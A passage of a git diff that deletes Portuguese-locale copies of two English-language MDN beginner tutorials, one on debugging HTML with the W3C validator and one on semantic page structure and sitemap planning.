-<p>HTML itself doesn't suffer from syntax errors because browsers parse it permissively, meaning that the page still displays even if there are syntax errors. Browsers have built-in rules to state how to interpret incorrectly written markup, so you'll get something running, even if it is not what you expected. This, of course, can still be a problem!</p>
-
-<div class="note">
-<p><strong>Note</strong>: HTML is parsed permissively because when the web was first created, it was decided that allowing people to get their content published was more important than making sure the syntax was absolutely correct. The web would probably not be as popular as it is today, if it had been more strict from the very beginning.</p>
-</div>
-
-<h3 id="Active_learning_Studying_permissive_code">Active learning: Studying permissive code</h3>
-
-<p>It's time to study the permissive nature of HTML code.</p>
-
-<ol>
- <li>First, download our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">debug-example demo</a> and save it locally. This demo is deliberately written to have some errors in it for us to explore (the HTML markup is said to be <strong>badly-formed</strong>, as opposed to <strong>well-formed</strong>).</li>
- <li>Next, open it in a browser. You will see something like this:<img alt="A simple HTML document with a title of HTML debugging examples, and some information about common HTML errors, such as unclosed elements, badly nested elements, and unclosed attributes. " src="https://mdn.mozillademos.org/files/12437/badly-formed-html.png" style="display: block; margin: 0 auto;"></li>
- <li>This immediately doesn't look great; let's look at the source code to see if we can work out why (only the body contents are shown):
- <pre class="brush: html">&lt;h1&gt;HTML debugging examples&lt;/h1&gt;
-
-&lt;p&gt;What causes errors in HTML?
-
-&lt;ul&gt;
- &lt;li&gt;Unclosed elements: If an element is &lt;strong&gt;not closed properly,
- then its effect can spread to areas you didn't intend
-
- &lt;li&gt;Badly nested elements: Nesting elements properly is also very important
- for code behaving correctly. &lt;strong&gt;strong &lt;em&gt;strong emphasised?&lt;/strong&gt;
- what is this?&lt;/em&gt;
-
- &lt;li&gt;Unclosed attributes: Another common source of HTML problems. Let's
- look at an example: &lt;a href="https://www.mozilla.org/&gt;link to Mozilla
- homepage&lt;/a&gt;
-&lt;/ul&gt;</pre>
- </li>
- <li>Let's review the problems:
- <ul>
- <li>The {{htmlelement("p","paragraph")}} and {{htmlelement("li","list item")}} elements have no closing tags. Looking at the image above, this doesn't seem to have affected the markup rendering too badly, as it is easy to infer where one element should end and another should begin.</li>
- <li>The first {{htmlelement("strong")}} element has no closing tag. This is a bit more problematic, as it isn't easy to tell where the element is supposed to end. In fact, the whole of the rest of the text has been strongly emphasised.</li>
- <li>This section is badly nested: <code>&lt;strong&gt;strong &lt;em&gt;strong emphasised?&lt;/strong&gt; what is this?&lt;/em&gt;</code>. It is not easy to tell how this has been interpreted because of the previous problem.</li>
- <li>The {{htmlattrxref("href","a")}} attribute value has a missing closing double quote. This seems to have caused the biggest problem — the link has not rendered at all.</li>
- </ul>
- </li>
- <li>Now let's look at the markup the browser has rendered, as opposed to the markup in the source code. To do this, we can use the browser developer tools. If you are not familiar with how to use your browser's developer tools, take a few minutes to review <a href="/en-US/docs/Learn/Discover_browser_developer_tools">Discover browser developer tools</a>.</li>
- <li>In the DOM inspector, you can see what the rendered markup looks like: <img alt="The HTML inspector in Firefox, with our example's paragraph highlighted, showing the text &quot;What causes errors in HTML?&quot; Here you can see that the paragraph element has been closed by the browser." src="https://mdn.mozillademos.org/files/12439/html-inspector.png" style="display: block; margin: 0 auto;"></li>
- <li>Using the DOM inspector, let's explore our code in detail to see how the browser has tried to fix our HTML errors (we did the review in Firefox; other modern browsers <em>should</em> give the same result):
- <ul>
- <li>The paragraphs and list items have been given closing tags.</li>
- <li>It isn't clear where the first <code>&lt;strong&gt;</code> element should be closed, so the browser has wrapped each separate block of text with its own strong tag, right down to the bottom of the document!</li>
- <li>The  incorrect nesting has been fixed by the browser like this:
- <pre class="brush: html">&lt;strong&gt;strong
- &lt;em&gt;strong emphasised?&lt;/em&gt;
-&lt;/strong&gt;
-&lt;em&gt; what is this?&lt;/em&gt;</pre>
- </li>
- <li>The link with the missing double quote has been deleted altogether. The last list item looks like this:
- <pre class="brush: html">&lt;li&gt;
- &lt;strong&gt;Unclosed attributes: Another common source of HTML problems.
- Let's look at an example: &lt;/strong&gt;
-&lt;/li&gt;</pre>
- </li>
- </ul>
- </li>
-</ol>
-
-<h3 id="HTML_validation">HTML validation</h3>
-
-<p>So you can see from the above example that you really want to make sure your HTML is well-formed! But how? In a small example like the one seen above, it is easy to search through the lines and find the errors, but what about a huge, complex HTML document?</p>
-
-<p>The best strategy is to start by running your HTML page through the <a href="https://validator.w3.org/">Markup Validation Service</a> — created and maintained by the W3C, the organization that looks after the specifications that define HTML, CSS, and other web technologies. This webpage takes an HTML document as an input, goes through it, and gives you a report to tell you what is wrong with your HTML.</p>
-
-<p><img alt="The HTML validator homepage" src="https://mdn.mozillademos.org/files/12441/validator.png" style="display: block; margin: 0 auto;"></p>
-
-<p>To specify the HTML to validate, you can give it a web address, upload an HTML file, or directly input some HTML code.</p>
-
-<h3 id="Active_learning_Validating_an_HTML_document">Active learning: Validating an HTML document</h3>
-
-<p>Let's try this with our <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/debugging-html/debug-example.html">sample document</a>.</p>
-
-<ol>
- <li>First, load up the <a href="https://validator.w3.org/">Markup Validation Service</a> in one browser tab, if it isn't already.</li>
- <li>Switch to the <a href="https://validator.w3.org/#validate_by_input">Validate by Direct Input</a> tab.</li>
- <li>Copy all the sample document's code (not just the body) and paste it into the large text area shown in the Markup Validation Service.</li>
- <li>Press the <em>Check</em> button.</li>
-</ol>
-
-<p>This should give you a list of errors and other information.</p>
-
-<p><img alt="A list of of HTML validation results from the W3C markup validation service" src="https://mdn.mozillademos.org/files/12443/validation-results.png" style="display: block; margin: 0 auto;"></p>
-
-<h4 id="Interpreting_the_error_messages">Interpreting the error messages</h4>
-
-<p>The error messages are usually helpful, but sometimes they are not so helpful; with a bit of practice you can work out how to interpret these to fix your code. Let's go through the error messages and what they mean. You'll see that each message comes with a line and column number to help you to locate the error easily.</p>
-
-<ul>
- <li>"End tag <code>li</code> implied, but there were open elements" (2 instances): These messages indicate that an element is open that should be closed. The ending tag is implied, but not actually there. The line/column information points to the first line after the line where the closing tag should really be, but this is a good enough clue to see what is wrong.</li>
- <li>"Unclosed element <code>strong</code>": This is really easy to understand — a {{htmlelement("strong")}} element is unclosed, and the line/column information points right to where it is.</li>
- <li>"End tag <code>strong</code> violates nesting rules": This points out the incorrectly nested elements, and the line/column information points out where it is.</li>
- <li>"End of file reached when inside an attribute value. Ignoring tag": This one is rather cryptic; it refers to the fact that there is an attribute value not properly formed somewhere, possibly near the end of the file because the end of the file appears inside the attribute value. The fact that the browser doesn't render the link should give us a good clue as to what element is at fault.</li>
- <li>"End of file seen and there were open elements": This is a bit ambiguous, but basically refers to the fact there are open elements that need to be properly closed. The lines numbers point to the last few lines of the file, and this error message comes with a line of code that points out an example of an open element:
- <pre>example: &lt;a href="https://www.mozilla.org/&gt;link to Mozilla homepage&lt;/a&gt; ↩ &lt;/ul&gt;↩ &lt;/body&gt;↩&lt;/html&gt;</pre>
-
- <div class="note">
- <p><strong>Note</strong>: An attribute missing a closing quote can result in an open element because the rest of the document is interpreted as the attribute's content.</p>
- </div>
- </li>
- <li>"Unclosed element <code>ul</code>": This is not very helpful, as the {{htmlelement("ul")}} element <em>is</em> closed correctly. This error comes up because the {{htmlelement("a")}} element is not closed, due to the missing closing quote mark.</li>
-</ul>
-
-<p><span>If you can't work out what every error message means, don't worry about it — a good idea is to try fixing a few errors at a time. Then try revalidating your HTML to show what errors are left. Sometimes fixing an earlier error will also get rid of other error messages — several errors can often be caused by a single problem, in a domino effect.</span></p>
-
-<p><span>You will know when all your errors are fixed when you see the following banner in your output: </span></p>
-
-<p><img alt='Banner that reads "The document validates according to the specified schema(s) and to additional constraints checked by the validator."' src="https://mdn.mozillademos.org/files/12445/valid-html-banner.png" style="display: block; margin: 0 auto;"></p>
-
-<h2 id="Summary">Summary</h2>
-
-<p>So there we have it, an introduction to debugging HTML, which should give you some useful skills to count on when you start to debug CSS, JavaScript, and other types of code later on in your career. This also marks the end of the Introduction to HTML module learning articles — now you can go on to testing yourself with our assessments: the first one is linked below.</p>
-
-<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Document_and_website_structure", "Learn/HTML/Introduction_to_HTML/Marking_up_a_letter", "Learn/HTML/Introduction_to_HTML")}}</p>
-
-<p> </p>
-
-<h2 id="In_this_module">In this module</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
-</ul>
-
-<p> </p>
diff --git a/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html b/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html
deleted file mode 100644
index 06450aaf64..0000000000
--- a/files/pt-pt/learn/html/introduction_to_html/document_and_website_structure/index.html
+++ /dev/null
@@ -1,293 +0,0 @@
----
-title: "Estrutura do\_documento e do website"
-slug: Learn/HTML/Introduction_to_HTML/Document_and_website_structure
-tags:
- - Guía
- - HTML
- - Layout
- - Principiante
- - pagina
- - semántica
-translation_of: Learn/HTML/Introduction_to_HTML/Document_and_website_structure
-original_slug: Learn/HTML/Introducao_ao_HTML/Estrutura_documento_website
----
-<div>{{LearnSidebar}}</div>
-
-<div>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
-
-<p class="summary">In addition to defining individual parts of your page (such as "a paragraph" or "an image"), {{glossary("HTML")}} also boasts a number of block level elements used to define areas of your website (such as "the header", "the navigation menu", "the main content column"). This article looks into how to plan a basic website structure, and write the HTML to represent this structure.</p>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>Basic HTML familiarity, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a>. HTML text formatting, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a>. How hyperlinks work, as covered in <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>Learn how to structure your document using semantic tags, and how to work out the structure of a simple website.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Basic_sections_of_a_document">Basic sections of a document</h2>
-
-<p>Webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured:</p>
-
-<dl>
- <dt>header</dt>
- <dd>Usually a big strip across the top with a big heading and/or logo. This is where the main common information about a website usually stays from one webpage to another.</dd>
- <dt>navigation bar</dt>
- <dd>Links to the site's main sections; usually represented by menu buttons, links, or tabs. Like the header, this content usually remains consistent from one webpage to another — having an inconsistent navigation on your website will just lead to confused, frustrated users. Many web designers consider the navigation bar to be part of the header rather than a individual component, but that's not a requirement; in fact some also argue that having the two separate is better for <a href="/en-US/docs/Learn/Accessibility">accessibility</a>, as screen readers can read the two features better if they are separate.</dd>
- <dt>main content</dt>
- <dd>A big area in the center that contains most of the unique content of a given webpage, for example the video you want to watch, or the main story you're reading, or the map you want to view, or the news headlines, etc. This is the one part of the website that definitely will vary from page to page!</dd>
- <dt>sidebar</dt>
- <dd>Some peripheral info, links, quotes, ads, etc. Usually this is contextual to what is contained in the main content (for example on a news article page, the sidebar might contain the author's bio, or links to related articles) but there are also cases where you'll find some recurring elements like a secondary navigation system.</dd>
- <dt>footer</dt>
- <dd>A strip across the bottom of the page that generally contains fine print, copyright notices, or contact info. It's a place to put common information (like the header) but usually that information is not critical or secondary to the website itself. The footer is also sometimes used for {{Glossary("SEO")}} purposes, by providing links for quick access to popular content.</dd>
-</dl>
-
-<p>A "typical website" could be laid out something like this:</p>
-
-<p><img alt="a simple website structure example featuring a main heading, navigation menu, main content, side bar, and footer." src="https://mdn.mozillademos.org/files/12417/sample-website.png" style="display: block; margin: 0 auto;"></p>
-
-<h2 id="HTML_for_structuring_content">HTML for structuring content</h2>
-
-<p>The simple example shown above isn't pretty, but it is perfectly ok for illustrating a typical website layout example. Some websites have more columns, some are way more complex, but you get the idea. With the right CSS, you could use pretty much any elements to wrap around the different sections and get it looking how you wanted, but as discussed before, we need to respect semantics, and <strong>use the right element for the right job</strong>.</p>
-
-<p>This is because visuals don't tell the whole story. We use color and font size to draw sighted users' attention to the most useful parts of the content, like the navigation menu and related links, but what about visually impaired people for example, who might not find concepts like "pink" and "large font" very useful?</p>
-
-<div class="note">
-<p><strong>Note</strong>: Colorblind people represent around <a href="http://www.color-blindness.com/2006/04/28/colorblind-population/">4% of the world population</a> or, to put it another way, approximately 1 in every 12 men and 1 in every 200 women are colorblind. Blind and visually impaired people represent roughly 4-5% of the world population (in 2012 there were <a href="https://en.wikipedia.org/wiki/Visual_impairment">285 million such people in the world</a>, while the total population was <a href="https://en.wikipedia.org/wiki/World_human_population#/media/File:World_population_history.svg">around 7 billion</a>).</p>
-</div>
-
-<p>In your HTML code, you can mark up sections of content based on their <em>functionality</em> — you can use elements that represent the sections of content described above unambiguously, and assistive technologies like screenreaders can recognise those elements and help with tasks like "find the main navigation", or "find the main content." As we mentioned earlier in the course, there are a number of <a href="/en-US/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals#Why_do_we_need_structure">consequences of not using the right element structure and semantics for the right job</a>.</p>
-
-<p>To implement such semantic mark up, HTML provides dedicated tags that you can use to represent such sections, for example:</p>
-
-<ul>
- <li><strong>header: </strong>{{htmlelement("header")}}.</li>
- <li><strong>navigation bar: </strong>{{htmlelement("nav")}}.</li>
- <li><strong>main content: </strong>{{htmlelement("main")}}, with various content subsections represented by {{HTMLElement("article")}}, {{htmlelement("section")}}, and {{htmlelement("div")}} elements.</li>
- <li><strong>sidebar: </strong>{{htmlelement("aside")}}; often placed inside {{htmlelement("main")}}.</li>
- <li><strong>footer: </strong>{{htmlelement("footer")}}.</li>
-</ul>
-
-<h3 id="Active_learning_exploring_the_code_for_our_example">Active learning: exploring the code for our example</h3>
-
-<p>Our example seen above is represented by the following code (you can also <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/document_and_website_structure/index.html">find the example in our GitHub repository</a>). We'd like you to look at the example above, and then look over the listing below to see what parts make up what section of the visual.</p>
-
-<pre class="brush: html">&lt;!DOCTYPE html&gt;
-&lt;html&gt;
- &lt;head&gt;
- &lt;meta charset="utf-8"&gt;
-
- &lt;title&gt;My page title&lt;/title&gt;
- &lt;link href="https://fonts.googleapis.com/css?family=Open+Sans+Condensed:300|Sonsie+One" rel="stylesheet" type="text/css"&gt;
- &lt;link rel="stylesheet" href="style.css"&gt;
-
- &lt;!-- the below three lines are a fix to get HTML5 semantic elements working in old versions of Internet Explorer--&gt;
- &lt;!--[if lt IE 9]&gt;
- &lt;script src="https://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7.3/html5shiv.js"&gt;&lt;/script&gt;
- &lt;![endif]--&gt;
- &lt;/head&gt;
-
- &lt;body&gt;
- &lt;!-- Here is our main header that is used across all the pages of our website --&gt;
-
- &lt;header&gt;
- &lt;h1&gt;Header&lt;/h1&gt;
- &lt;/header&gt;
-
- &lt;nav&gt;
- &lt;ul&gt;
- &lt;li&gt;&lt;a href="#"&gt;Home&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Our team&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Projects&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Contact&lt;/a&gt;&lt;/li&gt;
- &lt;/ul&gt;
-
- &lt;!-- A Search form is another commmon non-linear way to navigate through a website. --&gt;
-
- &lt;form&gt;
- &lt;input type="search" name="q" placeholder="Search query"&gt;
- &lt;input type="submit" value="Go!"&gt;
- &lt;/form&gt;
- &lt;/nav&gt;
-
- &lt;!-- Here is our page's main content --&gt;
- &lt;main&gt;
-
- &lt;!-- It contains an article --&gt;
- &lt;article&gt;
- &lt;h2&gt;Article heading&lt;/h2&gt;
-
- &lt;p&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit. Donec a diam lectus. Set sit amet ipsum mauris. Maecenas congue ligula as quam viverra nec consectetur ant hendrerit. Donec et mollis dolor. Praesent et diam eget libero egestas mattis sit amet vitae augue. Nam tincidunt congue enim, ut porta lorem lacinia consectetur.&lt;/p&gt;
-
- &lt;h3&gt;Subsection&lt;/h3&gt;
-
- &lt;p&gt;Donec ut librero sed accu vehicula ultricies a non tortor. Lorem ipsum dolor sit amet, consectetur adipisicing elit. Aenean ut gravida lorem. Ut turpis felis, pulvinar a semper sed, adipiscing id dolor.&lt;/p&gt;
-
- &lt;p&gt;Pelientesque auctor nisi id magna consequat sagittis. Curabitur dapibus, enim sit amet elit pharetra tincidunt feugiat nist imperdiet. Ut convallis libero in urna ultrices accumsan. Donec sed odio eros.&lt;/p&gt;
-
- &lt;h3&gt;Another subsection&lt;/h3&gt;
-
- &lt;p&gt;Donec viverra mi quis quam pulvinar at malesuada arcu rhoncus. Cum soclis natoque penatibus et manis dis parturient montes, nascetur ridiculus mus. In rutrum accumsan ultricies. Mauris vitae nisi at sem facilisis semper ac in est.&lt;/p&gt;
-
- &lt;p&gt;Vivamus fermentum semper porta. Nunc diam velit, adipscing ut tristique vitae sagittis vel odio. Maecenas convallis ullamcorper ultricied. Curabitur ornare, ligula semper consectetur sagittis, nisi diam iaculis velit, is fringille sem nunc vet mi.&lt;/p&gt;
- &lt;/article&gt;
-
- &lt;!-- the aside content can also be nested within the main content --&gt;
- &lt;aside&gt;
- &lt;h2&gt;Related&lt;/h2&gt;
-
- &lt;ul&gt;
- &lt;li&gt;&lt;a href="#"&gt;Oh I do like to be beside the seaside&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Oh I do like to be beside the sea&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Although in the North of England&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;It never stops raining&lt;/a&gt;&lt;/li&gt;
- &lt;li&gt;&lt;a href="#"&gt;Oh well...&lt;/a&gt;&lt;/li&gt;
- &lt;/ul&gt;
- &lt;/aside&gt;
-
- &lt;/main&gt;
-
- &lt;!-- And here is our main footer that is used across all the pages of our website --&gt;
-
- &lt;footer&gt;
- &lt;p&gt;©Copyright 2050 by nobody. All rights reversed.&lt;/p&gt;
- &lt;/footer&gt;
-
- &lt;/body&gt;
-&lt;/html&gt;</pre>
-
-<p>Take some time to look over the code and understand it — the comments inside the code should also help you to understand it. We aren't asking you to do much else in this article, because the key to understanding document layout is writing a sound HTML structure, and then laying it out with CSS. We'll wait for this until you start to study CSS layout as part of the CSS topic.</p>
-
-<h2 id="HTML_layout_elements_in_more_detail">HTML layout elements in more detail</h2>
-
-<p>It's good to understand the overall meaning of all the HTML sectioning elements in detail — this is something you'll work on gradually as you start to get more experience with web development. You can find a lot of detail by reading our <a href="/en-US/docs/Web/HTML/Element">HTML element reference</a>. For now, these are the main definitions that you should try to understand:</p>
-
-<ul>
- <li>{{HTMLElement('main')}} is for content <em>unique to this page. </em>Use <code>&lt;main&gt;</code> only <em>once </em>per page, and put it directly inside {{HTMLElement('body')}}. Ideally this shouldn't be nested within other elements.</li>
- <li>{{HTMLElement('article')}} encloses a block of related content that makes sense on its own without the rest of the page (e.g., a single blog post).</li>
- <li>{{HTMLElement('section')}} is similar to <code>&lt;article&gt;</code>, but it is more for grouping together a single part of the page that constitutes one single piece of functionality (e.g., a mini map, or a set of article headlines and summaries). It's considered best practice to begin each section with a <a href="/en-US/Learn/HTML/Howto/Set_up_a_proper_title_hierarchy">heading</a>; also note that you can break <code>&lt;article&gt;</code>s up into different <code>&lt;section&gt;</code>s, or <code>&lt;section&gt;</code>s up into different <code>&lt;article&gt;</code>s, depending on the context.</li>
- <li>{{HTMLElement('aside')}} contains content that is not directly related to the main content but can provide additional information indirectly related to it (glossary entries, author biography, related links, etc.).</li>
- <li>{{HTMLElement('header')}} represents a group of introductory content. If it is a child of {{HTMLElement('body')}} it defines the global header of a webpage, but if it's a child of an {{HTMLElement('article')}} or {{HTMLElement('section')}} it defines a specific header for that section (try not to confuse this with <a href="/en-US/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Adding_a_title">titles and headings</a>).</li>
- <li>{{HTMLElement('nav')}} contains the main navigation functionality for the page. Secondary links, etc., would not go in the navigation.</li>
- <li>{{HTMLElement('footer')}} represents a group of end content for a page.</li>
-</ul>
-
-<h3 id="Non-semantic_wrappers">Non-semantic wrappers</h3>
-
-<p>Sometimes you'll come across a situation where you can't find an ideal semantic element to group some items together or wrap some content. Sometimes you might want to just group a set of elements together to affect them all as a single entity with some {{glossary("CSS")}} or {{glossary("JavaScript")}}. For cases like these, HTML provides the {{HTMLElement("div")}} and {{HTMLElement("span")}} elements. You should use these preferably with a suitable {{htmlattrxref('class')}} attribute, to provide some kind of label for them so they can be easily targeted.</p>
-
-<p>{{HTMLElement("span")}} is an inline non-semantic element, which you should only use if you can't think of a better semantic text element to wrap your content, or don't want to add any specific meaning. For example:</p>
-
-<pre class="brush: html">&lt;p&gt;The King walked drunkenly back to his room at 01:00, the beer doing nothing to aid
-him as he staggered through the door &lt;span class="editor-note"&gt;[Editor's note: At this point in the
-play, the lights should be down low]&lt;/span&gt;.&lt;/p&gt;</pre>
-
-<p>In this case, the editor's note is supposed to merely provide extra direction for the director of the play; it is not supposed to have extra semantic meaning. For sighted users, CSS would perhaps be used to distance the note slightly from the main text.</p>
-
-<p>{{HTMLElement("div")}} is a block level non-semantic element, which you should only use if you can't think of a better semantic block element to use, or don't want to add any specific meaning. For example, imagine a shopping cart widget that you could choose to pull up at any point during your time on an e-commerce site:</p>
-
-<pre class="brush: html">&lt;div class="shopping-cart"&gt;
- &lt;h2&gt;Shopping cart&lt;/h2&gt;
- &lt;ul&gt;
- &lt;li&gt;
- &lt;p&gt;&lt;a href=""&gt;&lt;strong&gt;Silver earrings&lt;/strong&gt;&lt;/a&gt;: $99.95.&lt;/p&gt;
- &lt;img src="../products/3333-0985/thumb.png" alt="Silver earrings"&gt;
- &lt;/li&gt;
- &lt;li&gt;
- ...
- &lt;/li&gt;
- &lt;/ul&gt;
- &lt;p&gt;Total cost: $237.89&lt;/p&gt;
-&lt;/div&gt;</pre>
-
-<p>This isn't really an <code>&lt;aside&gt;</code>, as it doesn't necessarily relate to the main content of the page (you want it viewable from anywhere). It doesn't even particularly warrant using a  <code>&lt;section&gt;</code>, as it isn't part of the main content of the page. So a <code>&lt;div&gt;</code> is fine in this case. We've included a heading as a signpost to aid screenreader users in finding it.</p>
-
-<div class="warning">
-<p><strong>Warning</strong>: Divs are so convenient to use that it's easy to use them too much. As they carry no semantic value, they just clutter your HTML code. Take care to use them only when there is no better semantic solution and try to reduce their usage to the minimum otherwise you'll have a hard time updating and maintaining your documents.</p>
-</div>
-
-<h3 id="Line_breaks_and_horizontal_rules">Line breaks and horizontal rules</h3>
-
-<p>Two elements that you'll use occasionally and will want to know about are {{htmlelement("br")}} and {{htmlelement("hr")}}:</p>
-
-<p><code>&lt;br&gt;</code> creates a line break in a paragraph; it is the only way to force a rigid structure in a situation where you want a series of fixed short lines, such as in a postal address or a poem. For example:</p>
-
-<pre class="brush: html">&lt;p&gt;There once was a man named O'Dell&lt;br&gt;
-Who loved to write HTML&lt;br&gt;
-But his structure was bad, his semantics were sad&lt;br&gt;
-and his markup didn't read very well.&lt;/p&gt;</pre>
-
-<p>Without the <code>&lt;br&gt;</code> elements, the paragraph would just be rendered in one long line (as we said earlier in the course, <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Whitespace_in_HTML">HTML ignores most whitespace</a>); with them in the code, the markup renders like this:</p>
-
-<p>There once was a man named O'Dell<br>
- Who loved to write HTML<br>
- But his structure was bad, his semantics were sad<br>
- and his markup didn't read very well.</p>
-
-<p><code>&lt;hr&gt;</code> elements create a horizontal rule in the document that denotes a thematic change in the text (such as a change in topic or scene). Visually it just looks like a horizontal line. As an example:</p>
-
-<pre>&lt;p&gt;Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.&lt;/p&gt;
-&lt;hr&gt;
-&lt;p&gt;Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.&lt;/p&gt;</pre>
-
-<p>Would render like this:</p>
-
-<p>Ron was backed into a corner by the marauding netherbeasts. Scared, but determined to protect his friends, he raised his wand and prepared to do battle, hoping that his distress call had made it through.</p>
-
-<hr>
-<p>Meanwhile, Harry was sitting at home, staring at his royalty statement and pondering when the next spin off series would come out, when an enchanted distress letter flew through his window and landed in his lap. He read it hazily and sighed; "better get back to work then", he mused.</p>
-
-<h2 id="Planning_a_simple_website">Planning a simple website</h2>
-
-<p>Once you've planned out the content of a simple webpage, the next logical step is to try to work out what content you want to put on a whole website, what pages you need, and how they should be arranged and link to one another for the best possible user experience. This is called {{glossary("Information architecture")}}. In a large, complex website, a lot of planning can go into this process, but for a simple website of a few pages this can be fairly simple, and fun!</p>
-
-<ol>
- <li>Bear in mind that you'll have a few elements common to most (if not all) pages — such as the navigation menu, and the footer content. If your site is for a business, for example, it's a good idea to have your contact information available in the footer on each page. Note down what you want to have common to every page.<img alt="the common features of the travel site to go on every page: title and logo, contact, copyright, terms and conditions, language chooser, accessibility policy" src="https://mdn.mozillademos.org/files/12423/common-features.png" style="border-style: solid; border-width: 1px; display: block; height: 375px; margin: 0px auto; width: 600px;"></li>
- <li>Next, draw a rough sketch of what you might want the structure of each page to look like (it might look like our simple website above). Note what each block is going to be.<img alt="A simple diagram of a sample site structure, with a header, main content area, two optional sidebars, and footer" src="https://mdn.mozillademos.org/files/12429/site-structure.png" style="border-style: solid; border-width: 1px; display: block; height: 232px; margin: 0px auto; width: 600px;"></li>
- <li>Now, brainstorm all the other (not common to every page) content you want to have on your website — write a big list down.<img alt="A long list of all the features that we could put on our travel site, from searching, to special offers and country-specific info" src="https://mdn.mozillademos.org/files/12425/feature-list.png" style="border-style: solid; border-width: 1px; display: block; height: 1066px; margin: 0px auto; width: 600px;"></li>
- <li>Next, try to sort all these content items into groups, to give you an idea of what parts might live together on different pages. This is very similar to a technique called {{glossary("Card sorting")}}.<img alt="The items that should appear on a holiday site sorted into 5 categories: Search, Specials, Country-specific info, Search results, and Buy things" src="https://mdn.mozillademos.org/files/12421/card-sorting.png" style="border-style: solid; border-width: 1px; display: block; height: 579px; margin: 0px auto; width: 600px;"></li>
- <li>Now try to sketch a rough sitemap — have a bubble for each page on your site, and draw lines to show the typical workflow between pages. The homepage will probably be in the center, and link to most if not all of the others; most of the pages in a small site should be available from the main navigation, although there are exceptions. You might also want to include notes about how things might be presented.<img alt="A map of the site showing the homepage, country page, search results, specials page, checkout, and buy page" src="https://mdn.mozillademos.org/files/12427/site-map.png" style="border-style: solid; border-width: 1px; display: block; height: 872px; margin: 0px auto; width: 600px;"></li>
-</ol>
-
-<h3 id="Active_learning_create_your_own_sitemap">Active learning: create your own sitemap</h3>
-
-<p>Try carrying out the above exercise for a website of your own creation. What would you like to make a site about?</p>
-
-<div class="note">
-<p><strong>Note</strong>: Save your work somewhere; you might need it later on.</p>
-</div>
-
-<h2 id="Summary">Summary</h2>
-
-<p>At this point you should have a better idea about how to structure a web page/site. In the last article of this module, we'll study how to debug HTML.</p>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/Guide/HTML/Using_HTML_sections_and_outlines">Using HTML sections and outlines</a>: Advanced guide to HTML5 semantic elements and the HTML5 outline algorithm.</li>
-</ul>
-
-<p>{{PreviousMenuNext("Learn/HTML/Introduction_to_HTML/Advanced_text_formatting", "Learn/HTML/Introduction_to_HTML/Debugging_HTML", "Learn/HTML/Introduction_to_HTML")}}</p>
-
-<p> </p>
-
-<h2 id="In_this_module">In this module</h2>
-
-<ul>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
- <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
